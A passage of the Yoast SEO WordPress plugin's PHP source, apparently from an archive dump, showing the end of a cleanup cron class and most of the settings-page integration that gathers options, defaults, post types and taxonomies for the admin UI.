		return \abs( $limit );
	}

	/**
	 * Resets and stops the cleanup integration.
	 *
	 * @return void
	 */
	public function reset_cleanup() {
		\delete_option( self::CURRENT_TASK_OPTION );
		\wp_unschedule_hook( self::CRON_HOOK );
	}

	/**
	 * Starts the cleanup cron job.
	 *
	 * @param string $task_name     The task name of the next cleanup task to run.
	 * @param int    $schedule_time The time in seconds to wait before running the first cron job. Default is 1 hour.
	 *
	 * @return void
	 */
	public function start_cron_job( $task_name, $schedule_time = 3600 ) {
		\update_option( self::CURRENT_TASK_OPTION, $task_name );
		\wp_schedule_event(
			( \time() + $schedule_time ),
			'hourly',
			self::CRON_HOOK
		);
	}

	/**
	 * The callback that is called for the cleanup cron job.
	 *
	 * @return void
	 */
	public function run_cleanup_cron() {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			$this->reset_cleanup();

			return;
		}

		$current_task_name = \get_option( self::CURRENT_TASK_OPTION );

		if ( $current_task_name === false ) {
			$this->reset_cleanup();

			return;
		}

		$limit = $this->get_limit();
		$tasks = $this->get_cleanup_tasks();

		// The task may have been added by a filter that has been removed, in that case just start over.
		if ( ! isset( $tasks[ $current_task_name ] ) ) {
			$current_task_name = \key( $tasks );
		}

		$current_task = \current( $tasks );
		while ( $current_task !== false ) {
			// Skip the tasks that have already been done.
			if ( \key( $tasks ) !== $current_task_name ) {
				$current_task = \next( $tasks );
				continue;
			}

			// Call the cleanup callback function that accompanies the current task.
			$items_cleaned = $current_task( $limit );

			if ( $items_cleaned === false ) {
				$this->reset_cleanup();

				return;
			}

			if ( $items_cleaned === 0 ) {
				// Check if we are finished with all tasks.
				if ( \next( $tasks ) === false ) {
					$this->reset_cleanup();

					return;
				}

				// Continue with the next task next time the cron job is run.
				\update_option( self::CURRENT_TASK_OPTION, \key( $tasks ) );

				return;
			}

			// There were items deleted for the current task, continue with the same task next cron call.
			return;
		}
	}
}
wordpress-seo/src/integrations/settings-integration.php000064400000100511147510273100017545 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use WP_Post;
use WP_Post_Type;
use WP_Taxonomy;
use WP_User;
use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use WPSEO_Admin_Editor_Specific_Replace_Vars;
use WPSEO_Admin_Recommended_Replace_Vars;
use WPSEO_Option_Titles;
use WPSEO_Options;
use WPSEO_Replace_Vars;
use WPSEO_Shortlinker;
use WPSEO_Sitemaps_Router;
use Yoast\WP\SEO\Conditionals\Settings_Conditional;
use Yoast\WP\SEO\Config\Schema_Types;
use Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Language_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Schema\Article_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Helpers\Woocommerce_Helper;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Class Settings_Integration.
 */
class Settings_Integration implements Integration_Interface {

	public const PAGE = 'wpseo_page_settings';

	/**
	 * Holds the included WordPress options.
	 *
	 * @var string[]
	 */
	public const WP_OPTIONS = [ 'blogdescription' ];

	/**
	 * Holds the allowed option groups.
	 *
	 * @var array
	 */
	public const ALLOWED_OPTION_GROUPS = [ 'wpseo', 'wpseo_titles', 'wpseo_social' ];

	/**
	 * Holds the disallowed settings, per option group.
	 *
	 * @var array
	 */
	public const DISALLOWED_SETTINGS = [
		'wpseo'        => [
			'myyoast-oauth',
			'semrush_tokens',
			'custom_taxonomy_slugs',
			'import_cursors',
			'workouts_data',
			'configuration_finished_steps',
			'importing_completed',
			'wincher_tokens',
			'least_readability_ignore_list',
			'least_seo_score_ignore_list',
			'most_linked_ignore_list',
			'least_linked_ignore_list',
			'indexables_page_reading_list',
			'show_new_content_type_notification',
			'new_post_types',
			'new_taxonomies',
		],
		'wpseo_titles' => [
			'company_logo_meta',
			'person_logo_meta',
		],
	];

	/**
	 * Holds the disabled on multisite settings, per option group.
	 *
	 * @var array
	 */
	public const DISABLED_ON_MULTISITE_SETTINGS = [
		'wpseo' => [
			'deny_search_crawling',
			'deny_wp_json_crawling',
			'deny_adsbot_crawling',
			'deny_ccbot_crawling',
			'deny_google_extended_crawling',
			'deny_gptbot_crawling',
		],
	];

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Holds the WPSEO_Replace_Vars.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * Holds the Schema_Types.
	 *
	 * @var Schema_Types
	 */
	protected $schema_types;

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page_helper;

	/**
	 * Holds the Post_Type_Helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Holds the Language_Helper.
	 *
	 * @var Language_Helper
	 */
	protected $language_helper;

	/**
	 * Holds the Taxonomy_Helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * Holds the Woocommerce_Helper.
	 *
	 * @var Woocommerce_Helper
	 */
	protected $woocommerce_helper;

	/**
	 * Holds the Article_Helper.
	 *
	 * @var Article_Helper
	 */
	protected $article_helper;

	/**
	 * Holds the User_Helper.
	 *
	 * @var User_Helper
	 */
	protected $user_helper;

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Holds the Content_Type_Visibility_Dismiss_Notifications instance.
	 *
	 * @var Content_Type_Visibility_Dismiss_Notifications
	 */
	protected $content_type_visibility;

	/**
	 * Constructs Settings_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager                     $asset_manager           The WPSEO_Admin_Asset_Manager.
	 * @param WPSEO_Replace_Vars                            $replace_vars            The WPSEO_Replace_Vars.
	 * @param Schema_Types                                  $schema_types            The Schema_Types.
	 * @param Current_Page_Helper                           $current_page_helper     The Current_Page_Helper.
	 * @param Post_Type_Helper                              $post_type_helper        The Post_Type_Helper.
	 * @param Language_Helper                               $language_helper         The Language_Helper.
	 * @param Taxonomy_Helper                               $taxonomy_helper         The Taxonomy_Helper.
	 * @param Product_Helper                                $product_helper          The Product_Helper.
	 * @param Woocommerce_Helper                            $woocommerce_helper      The Woocommerce_Helper.
	 * @param Article_Helper                                $article_helper          The Article_Helper.
	 * @param User_Helper                                   $user_helper             The User_Helper.
	 * @param Options_Helper                                $options                 The options helper.
	 * @param Content_Type_Visibility_Dismiss_Notifications $content_type_visibility The Content_Type_Visibility_Dismiss_Notifications instance.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		WPSEO_Replace_Vars $replace_vars,
		Schema_Types $schema_types,
		Current_Page_Helper $current_page_helper,
		Post_Type_Helper $post_type_helper,
		Language_Helper $language_helper,
		Taxonomy_Helper $taxonomy_helper,
		Product_Helper $product_helper,
		Woocommerce_Helper $woocommerce_helper,
		Article_Helper $article_helper,
		User_Helper $user_helper,
		Options_Helper $options,
		Content_Type_Visibility_Dismiss_Notifications $content_type_visibility
	) {
		$this->asset_manager           = $asset_manager;
		$this->replace_vars            = $replace_vars;
		$this->schema_types            = $schema_types;
		$this->current_page_helper     = $current_page_helper;
		$this->taxonomy_helper         = $taxonomy_helper;
		$this->post_type_helper        = $post_type_helper;
		$this->language_helper         = $language_helper;
		$this->product_helper          = $product_helper;
		$this->woocommerce_helper      = $woocommerce_helper;
		$this->article_helper          = $article_helper;
		$this->user_helper             = $user_helper;
		$this->options                 = $options;
		$this->content_type_visibility = $content_type_visibility;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Settings_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Add page.
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] );
		\add_filter( 'admin_menu', [ $this, 'add_settings_saved_page' ] );

		// Are we saving the settings?
		if ( $this->current_page_helper->get_current_admin_page() === 'options.php' ) {
			$post_action = '';
			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
			if ( isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information.
				$post_action = \wp_unslash( $_POST['action'] );
			}
			$option_page = '';
			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
			if ( isset( $_POST['option_page'] ) && \is_string( $_POST['option_page'] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information.
				$option_page = \wp_unslash( $_POST['option_page'] );
			}

			if ( $post_action === 'update' && $option_page === self::PAGE ) {
				\add_action( 'admin_init', [ $this, 'register_setting' ] );
				\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
			}

			return;
		}

		// Are we on the settings page?
		if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
			\add_action( 'admin_init', [ $this, 'register_setting' ] );
			\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
			\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
		}
	}

	/**
	 * Registers the different options under the setting.
	 *
	 * @return void
	 */
	public function register_setting() {
		foreach ( WPSEO_Options::$options as $name => $instance ) {
			if ( \in_array( $name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				\register_setting( self::PAGE, $name );
			}
		}
		// Only register WP options when the user is allowed to manage them.
		if ( \current_user_can( 'manage_options' ) ) {
			foreach ( self::WP_OPTIONS as $name ) {
				\register_setting( self::PAGE, $name );
			}
		}
	}

	/**
	 * Adds the page.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_page( $pages ) {
		\array_splice(
			$pages,
			1,
			0,
			[
				[
					'wpseo_dashboard',
					'',
					\__( 'Settings', 'wordpress-seo' ),
					'wpseo_manage_options',
					self::PAGE,
					[ $this, 'display_page' ],
				],
			]
		);

		return $pages;
	}

	/**
	 * Adds a dummy page.
	 *
	 * Because the options route NEEDS to redirect to something.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_settings_saved_page( $pages ) {
		\add_submenu_page(
			'',
			'',
			'',
			'wpseo_manage_options',
			self::PAGE . '_saved',
			static function () {
				// Add success indication to HTML response.
				$success = empty( \get_settings_errors() ) ? 'true' : 'false';
				echo \esc_html( "{{ yoast-success: $success }}" );
			}
		);

		return $pages;
	}

	/**
	 * Displays the page.
	 *
	 * @return void
	 */
	public function display_page() {
		echo '<div id="yoast-seo-settings"></div>';
	}

	/**
	 * Enqueues the assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
		\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
		\wp_enqueue_media();
		$this->asset_manager->enqueue_script( 'new-settings' );
		$this->asset_manager->enqueue_style( 'new-settings' );
		if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
			$this->asset_manager->enqueue_style( 'black-friday-banner' );
		}
		$this->asset_manager->localize_script( 'new-settings', 'wpseoScriptData', $this->get_script_data() );
	}

	/**
	 * Removes all current WP notices.
	 *
	 * @return void
	 */
	public function remove_notices() {
		\remove_all_actions( 'admin_notices' );
		\remove_all_actions( 'user_admin_notices' );
		\remove_all_actions( 'network_admin_notices' );
		\remove_all_actions( 'all_admin_notices' );
	}

	/**
	 * Creates the script data.
	 *
	 * @return array The script data.
	 */
	protected function get_script_data() {
		$default_setting_values = $this->get_default_setting_values();
		$settings               = $this->get_settings( $default_setting_values );
		$post_types             = $this->post_type_helper->get_indexable_post_type_objects();
		$taxonomies             = $this->taxonomy_helper->get_indexable_taxonomy_objects();

		// Check if attachments are included in indexation.
		if ( ! \array_key_exists( 'attachment', $post_types ) ) {
			// Always include attachments in the settings, to let the user enable them again.
			$attachment_object = \get_post_type_object( 'attachment' );
			if ( ! empty( $attachment_object ) ) {
				$post_types['attachment'] = $attachment_object;
			}
		}
		// Check if post formats are included in indexation.
		if ( ! \array_key_exists( 'post_format', $taxonomies ) ) {
			// Always include post_format in the settings, to let the user enable them again.
			$post_format_object = \get_taxonomy( 'post_format' );
			if ( ! empty( $post_format_object ) ) {
				$taxonomies['post_format'] = $post_format_object;
			}
		}

		$transformed_post_types = $this->transform_post_types( $post_types );
		$transformed_taxonomies = $this->transform_taxonomies( $taxonomies, \array_keys( $transformed_post_types ) );

		// Check if there is a new content type to show notification only once in the settings.
		$show_new_content_type_notification = $this->content_type_visibility->maybe_add_settings_notification();

		return [
			'settings'                       => $this->transform_settings( $settings ),
			'defaultSettingValues'           => $default_setting_values,
			'disabledSettings'               => $this->get_disabled_settings( $settings ),
			'endpoint'                       => \admin_url( 'options.php' ),
			'nonce'                          => \wp_create_nonce( self::PAGE . '-options' ),
			'separators'                     => WPSEO_Option_Titles::get_instance()->get_separator_options_for_display(),
			'replacementVariables'           => $this->get_replacement_variables(),
			'schema'                         => $this->get_schema( $transformed_post_types ),
			'preferences'                    => $this->get_preferences( $settings ),
			'linkParams'                     => WPSEO_Shortlinker::get_query_params(),
			'postTypes'                      => $transformed_post_types,
			'taxonomies'                     => $transformed_taxonomies,
			'fallbacks'                      => $this->get_fallbacks(),
			'showNewContentTypeNotification' => $show_new_content_type_notification,
			'currentPromotions'              => \YoastSEO()->classes->get( Promotion_Manager::class )->get_current_promotions(),
		];
	}

	/**
	 * Retrieves the preferences.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The preferences.
	 */
	protected function get_preferences( $settings ) {
		$shop_page_id             = $this->woocommerce_helper->get_shop_page_id();
		$homepage_is_latest_posts = \get_option( 'show_on_front' ) === 'posts';
		$page_on_front            = \get_option( 'page_on_front' );
		$page_for_posts           = \get_option( 'page_for_posts' );

		$addon_manager          = new WPSEO_Addon_Manager();
		$woocommerce_seo_active = \is_plugin_active( $addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) );

		if ( empty( $page_on_front ) ) {
			$page_on_front = $page_for_posts;
		}

		$business_settings_url = \get_admin_url( null, 'admin.php?page=wpseo_local' );
		if ( \defined( 'WPSEO_LOCAL_FILE' ) ) {
			$local_options      = \get_option( 'wpseo_local' );
			$multiple_locations = $local_options['use_multiple_locations'];
			$same_organization  = $local_options['multiple_locations_same_organization'];
			if ( $multiple_locations === 'on' && $same_organization !== 'on' ) {
				$business_settings_url = \get_admin_url( null, 'edit.php?post_type=wpseo_locations' );
			}
		}

		return [
			'isPremium'                     => $this->product_helper->is_premium(),
			'isRtl'                         => \is_rtl(),
			'isNetworkAdmin'                => \is_network_admin(),
			'isMainSite'                    => \is_main_site(),
			'isMultisite'                   => \is_multisite(),
			'isWooCommerceActive'           => $this->woocommerce_helper->is_active(),
			'isLocalSeoActive'              => \defined( 'WPSEO_LOCAL_FILE' ),
			'isNewsSeoActive'               => \defined( 'WPSEO_NEWS_FILE' ),
			'isWooCommerceSEOActive'        => $woocommerce_seo_active,
			'siteUrl'                       => \get_bloginfo( 'url' ),
			'siteTitle'                     => \get_bloginfo( 'name' ),
			'sitemapUrl'                    => WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ),
			'hasWooCommerceShopPage'        => $shop_page_id !== -1,
			'editWooCommerceShopPageUrl'    => \get_edit_post_link( $shop_page_id, 'js' ),
			'wooCommerceShopPageSettingUrl' => \get_admin_url( null, 'admin.php?page=wc-settings&tab=products' ),
			'localSeoPageSettingUrl'        => $business_settings_url,
			'homepageIsLatestPosts'         => $homepage_is_latest_posts,
			'homepagePageEditUrl'           => \get_edit_post_link( $page_on_front, 'js' ),
			'homepagePostsEditUrl'          => \get_edit_post_link( $page_for_posts, 'js' ),
			'createUserUrl'                 => \admin_url( 'user-new.php' ),
			'createPageUrl'                 => \admin_url( 'post-new.php?post_type=page' ),
			'editUserUrl'                   => \admin_url( 'user-edit.php' ),
			'editTaxonomyUrl'               => \admin_url( 'edit-tags.php' ),
			'generalSettingsUrl'            => \admin_url( 'options-general.php' ),
			'companyOrPersonMessage'        => \apply_filters( 'wpseo_knowledge_graph_setting_msg', '' ),
			'currentUserId'                 => \get_current_user_id(),
			'canCreateUsers'                => \current_user_can( 'create_users' ),
			'canCreatePages'                => \current_user_can( 'edit_pages' ),
			'canEditUsers'                  => \current_user_can( 'edit_users' ),
			'canManageOptions'              => \current_user_can( 'manage_options' ),
			'userLocale'                    => \str_replace( '_', '-', \get_user_locale() ),
			'pluginUrl'                     => \plugins_url( '', \WPSEO_FILE ),
			'showForceRewriteTitlesSetting' => ! \current_theme_supports( 'title-tag' ) && ! ( \function_exists( 'wp_is_block_theme' ) && \wp_is_block_theme() ),
			'upsellSettings'                => $this->get_upsell_settings(),
			'siteRepresentsPerson'          => $this->get_site_represents_person( $settings ),
			'siteBasicsPolicies'            => $this->get_site_basics_policies( $settings ),
		];
	}

	/**
	 * Retrieves the currently represented person.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The currently represented person's ID and name.
	 */
	protected function get_site_represents_person( $settings ) {
		$person = [
			'id'   => false,
			'name' => '',
		];

		if ( isset( $settings['wpseo_titles']['company_or_person_user_id'] ) ) {
			$person['id'] = $settings['wpseo_titles']['company_or_person_user_id'];
			$user         = \get_userdata( $person['id'] );
			if ( $user instanceof WP_User ) {
				$person['name'] = $user->get( 'display_name' );
			}
		}

		return $person;
	}

	/**
	 * Get site policy data.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The policy data.
	 */
	private function get_site_basics_policies( $settings ) {
		$policies = [];

		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['publishing_principles_id'], 'publishing_principles_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['ownership_funding_info_id'], 'ownership_funding_info_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['actionable_feedback_policy_id'], 'actionable_feedback_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['corrections_policy_id'], 'corrections_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['ethics_policy_id'], 'ethics_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['diversity_policy_id'], 'diversity_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['diversity_staffing_report_id'], 'diversity_staffing_report_id' );

		return $policies;
	}

	/**
	 * Adds policy data if it is present.
	 *
	 * @param array  $policies The existing policy data.
	 * @param int    $policy   The policy id to check.
	 * @param string $key      The option key name.
	 *
	 * @return array<int,string> The policy data.
	 */
	private function maybe_add_policy( $policies, $policy, $key ) {
		$policy_array = [
			'id'   => 0,
			'name' => \__( 'None', 'wordpress-seo' ),
		];

		if ( isset( $policy ) && \is_int( $policy ) ) {
			$policy_array['id'] = $policy;
			$post               = \get_post( $policy );
			if ( $post instanceof WP_Post ) {
				if ( $post->post_status !== 'publish' || $post->post_password !== '' ) {
					return $policies;
				}
				$policy_array['name'] = $post->post_title;
			}
		}

		$policies[ $key ] = $policy_array;

		return $policies;
	}

	/**
	 * Returns settings for the Call to Buy (CTB) buttons.
	 *
	 * @return array<string> The array of CTB settings.
	 */
	public function get_upsell_settings() {
		return [
			'actionId'     => 'load-nfd-ctb',
			'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
		];
	}

	/**
	 * Retrieves the default setting values.
	 *
	 * These default values are currently being used in the UI for dummy fields.
	 * Dummy fields should not expose or reflect the actual data.
	 *
	 * @return array The default setting values.
	 */
	protected function get_default_setting_values() {
		$defaults = [];

		// Add Yoast settings.
		foreach ( WPSEO_Options::$options as $option_name => $instance ) {
			if ( \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				$option_instance          = WPSEO_Options::get_option_instance( $option_name );
				$defaults[ $option_name ] = ( $option_instance ) ? $option_instance->get_defaults() : [];
			}
		}
		// Add WP settings.
		foreach ( self::WP_OPTIONS as $option_name ) {
			$defaults[ $option_name ] = '';
		}

		// Remove disallowed settings.
		foreach ( self::DISALLOWED_SETTINGS as $option_name => $disallowed_settings ) {
			foreach ( $disallowed_settings as $disallowed_setting ) {
				unset( $defaults[ $option_name ][ $disallowed_setting ] );
			}
		}

		if ( \defined( 'WPSEO_LOCAL_FILE' ) ) {
			$defaults = $this->get_defaults_from_local_seo( $defaults );
		}

		return $defaults;
	}

	/**
	 * Retrieves the organization schema values from Local SEO for defaults in Site representation fields.
	 * Specifically for the org-vat-id, org-tax-id, org-email and org-phone options.
	 *
	 * @param array<string|int|bool> $defaults The settings defaults.
	 *
	 * @return array<string|int|bool> The settings defaults with local seo overides.
	 */
	protected function get_defaults_from_local_seo( $defaults ) {
		$local_options      = \get_option( 'wpseo_local' );
		$multiple_locations = $local_options['use_multiple_locations'];
		$same_organization  = $local_options['multiple_locations_same_organization'];
		$shared_info        = $local_options['multiple_locations_shared_business_info'];
		if ( $multiple_locations !== 'on' || ( $multiple_locations === 'on' && $same_organization === 'on' && $shared_info === 'on' ) ) {
			$defaults['wpseo_titles']['org-vat-id'] = $local_options['location_vat_id'];
			$defaults['wpseo_titles']['org-tax-id'] = $local_options['location_tax_id'];
			$defaults['wpseo_titles']['org-email']  = $local_options['location_email'];
			$defaults['wpseo_titles']['org-phone']  = $local_options['location_phone'];
		}

		if ( \wpseo_has_primary_location() ) {
			$primary_location = $local_options['multiple_locations_primary_location'];

			$location_keys = [
				'org-phone'  => [
					'is_overridden' => '_wpseo_is_overridden_business_phone',
					'value'         => '_wpseo_business_phone',
				],
				'org-email'  => [
					'is_overridden' => '_wpseo_is_overridden_business_email',
					'value'         => '_wpseo_business_email',
				],
				'org-tax-id' => [
					'is_overridden' => '_wpseo_is_overridden_business_tax_id',
					'value'         => '_wpseo_business_tax_id',
				],
				'org-vat-id' => [
					'is_overridden' => '_wpseo_is_overridden_business_vat_id',
					'value'         => '_wpseo_business_vat_id',
				],
			];

			foreach ( $location_keys as $key => $meta_keys ) {
				$is_overridden = ( $shared_info === 'on' ) ? \get_post_meta( $primary_location, $meta_keys['is_overridden'], true ) : false;
				if ( $is_overridden === 'on' || $shared_info !== 'on' ) {
					$post_meta_value                  = \get_post_meta( $primary_location, $meta_keys['value'], true );
					$defaults['wpseo_titles'][ $key ] = ( $post_meta_value ) ? $post_meta_value : '';
				}
			}
		}

		return $defaults;
	}

	/**
	 * Retrieves the settings and their values.
	 *
	 * @param array $default_setting_values The default setting values.
	 *
	 * @return array The settings.
	 */
	protected function get_settings( $default_setting_values ) {
		$settings = [];

		// Add Yoast settings.
		foreach ( WPSEO_Options::$options as $option_name => $instance ) {
			if ( \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				$settings[ $option_name ] = \array_merge( $default_setting_values[ $option_name ], WPSEO_Options::get_option( $option_name ) );
			}
		}
		// Add WP settings.
		foreach ( self::WP_OPTIONS as $option_name ) {
			$settings[ $option_name ] = \get_option( $option_name );
		}

		// Remove disallowed settings.
		foreach ( self::DISALLOWED_SETTINGS as $option_name => $disallowed_settings ) {
			foreach ( $disallowed_settings as $disallowed_setting ) {
				unset( $settings[ $option_name ][ $disallowed_setting ] );
			}
		}

		return $settings;
	}

	/**
	 * Transforms setting values.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The settings.
	 */
	protected function transform_settings( $settings ) {
		if ( isset( $settings['wpseo_titles']['breadcrumbs-sep'] ) ) {
			/**
			 * The breadcrumbs separator default value is the HTML entity `&raquo;`.
			 * Which does not get decoded in our JS, while it did in our Yoast form. Decode it here as an exception.
			 */
			$settings['wpseo_titles']['breadcrumbs-sep'] = \html_entity_decode(
				$settings['wpseo_titles']['breadcrumbs-sep'],
				( \ENT_NOQUOTES | \ENT_HTML5 ),
				'UTF-8'
			);
		}

		/**
		 * Decode some WP options.
		 */
		$settings['blogdescription'] = \html_entity_decode(
			$settings['blogdescription'],
			( \ENT_NOQUOTES | \ENT_HTML5 ),
			'UTF-8'
		);

		return $settings;
	}

	/**
	 * Retrieves the disabled settings.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The settings.
	 */
	protected function get_disabled_settings( $settings ) {
		$disabled_settings = [];
		$site_language     = $this->language_helper->get_language();

		foreach ( WPSEO_Options::$options as $option_name => $instance ) {
			if ( ! \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				continue;
			}

			$disabled_settings[ $option_name ] = [];
			$option_instance                   = WPSEO_Options::get_option_instance( $option_name );
			if ( $option_instance === false ) {
				continue;
			}
			foreach ( $settings[ $option_name ] as $setting_name => $setting_value ) {
				if ( $option_instance->is_disabled( $setting_name ) ) {
					$disabled_settings[ $option_name ][ $setting_name ] = 'network';
				}
			}
		}

		// Remove disabled on multisite settings.
		if ( \is_multisite() ) {
			foreach ( self::DISABLED_ON_MULTISITE_SETTINGS as $option_name => $disabled_ms_settings ) {
				if ( \array_key_exists( $option_name, $disabled_settings ) ) {
					foreach ( $disabled_ms_settings as $disabled_ms_setting ) {
						$disabled_settings[ $option_name ][ $disabled_ms_setting ] = 'multisite';
					}
				}
			}
		}

		if ( \array_key_exists( 'wpseo', $disabled_settings ) && ! $this->language_helper->has_inclusive_language_support( $site_language ) ) {
			$disabled_settings['wpseo']['inclusive_language_analysis_active'] = 'language';
		}

		return $disabled_settings;
	}

	/**
	 * Retrieves the replacement variables.
	 *
	 * @return array The replacement variables.
	 */
	protected function get_replacement_variables() {
		$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
		$specific_replace_vars    = new WPSEO_Admin_Editor_Specific_Replace_Vars();
		$replacement_variables    = $this->replace_vars->get_replacement_variables_with_labels();

		return [
			'variables'   => $replacement_variables,
			'recommended' => $recommended_replace_vars->get_recommended_replacevars(),
			'specific'    => $specific_replace_vars->get(),
			'shared'      => $specific_replace_vars->get_generic( $replacement_variables ),
		];
	}

	/**
	 * Retrieves the schema.
	 *
	 * @param array $post_types The post types.
	 *
	 * @return array The schema.
	 */
	protected function get_schema( array $post_types ) {
		$schema = [];

		foreach ( $this->schema_types->get_article_type_options() as $article_type ) {
			$schema['articleTypes'][ $article_type['value'] ] = [
				'label' => $article_type['name'],
				'value' => $article_type['value'],
			];
		}

		foreach ( $this->schema_types->get_page_type_options() as $page_type ) {
			$schema['pageTypes'][ $page_type['value'] ] = [
				'label' => $page_type['name'],
				'value' => $page_type['value'],
			];
		}

		$schema['articleTypeDefaults'] = [];
		$schema['pageTypeDefaults']    = [];
		foreach ( $post_types as $name => $post_type ) {
			$schema['articleTypeDefaults'][ $name ] = WPSEO_Options::get_default( 'wpseo_titles', "schema-article-type-$name" );
			$schema['pageTypeDefaults'][ $name ]    = WPSEO_Options::get_default( 'wpseo_titles', "schema-page-type-$name" );
		}

		return $schema;
	}

	/**
	 * Transforms the post types, to represent them.
	 *
	 * @param WP_Post_Type[] $post_types The WP_Post_Type array to transform.
	 *
	 * @return array The post types.
	 */
	protected function transform_post_types( $post_types ) {
		$transformed    = [];
		$new_post_types = $this->options->get( 'new_post_types', [] );
		foreach ( $post_types as $post_type ) {
			$transformed[ $post_type->name ] = [
				'name'                 => $post_type->name,
				'route'                => $this->get_route( $post_type->name, $post_type->rewrite, $post_type->rest_base ),
				'label'                => $post_type->label,
				'singularLabel'        => $post_type->labels->singular_name,
				'hasArchive'           => $this->post_type_helper->has_archive( $post_type ),
				'hasSchemaArticleType' => $this->article_helper->is_article_post_type( $post_type->name ),
				'menuPosition'         => $post_type->menu_position,
				'isNew'                => \in_array( $post_type->name, $new_post_types, true ),
			];
		}

		\uasort( $transformed, [ $this, 'compare_post_types' ] );

		return $transformed;
	}

	/**
	 * Compares two post types.
	 *
	 * @param array $a The first post type.
	 * @param array $b The second post type.
	 *
	 * @return int The order.
	 */
	protected function compare_post_types( $a, $b ) {
		if ( $a['menuPosition'] === null && $b['menuPosition'] !== null ) {
			return 1;
		}
		if ( $a['menuPosition'] !== null && $b['menuPosition'] === null ) {
			return -1;
		}

		if ( $a['menuPosition'] === null && $b['menuPosition'] === null ) {
			// No position specified, order alphabetically by label.
			return \strnatcmp( $a['label'], $b['label'] );
		}

		return ( ( $a['menuPosition'] < $b['menuPosition'] ) ? -1 : 1 );
	}

	/**
	 * Transforms the taxonomies, to represent them.
	 *
	 * @param WP_Taxonomy[] $taxonomies      The WP_Taxonomy array to transform.
	 * @param string[]      $post_type_names The post type names.
	 *
	 * @return array The taxonomies.
	 */
	protected function transform_taxonomies( $taxonomies, $post_type_names ) {
		$transformed    = [];
		$new_taxonomies = $this->options->get( 'new_taxonomies', [] );
		foreach ( $taxonomies as $taxonomy ) {
			$transformed[ $taxonomy->name ] = [
				'name'          => $taxonomy->name,
				'route'         => $this->get_route( $taxonomy->name, $taxonomy->rewrite, $taxonomy->rest_base ),
				'label'         => $taxonomy->label,
				'showUi'        => $taxonomy->show_ui,
				'singularLabel' => $taxonomy->labels->singular_name,
				'postTypes'     => \array_filter(
					$taxonomy->object_type,
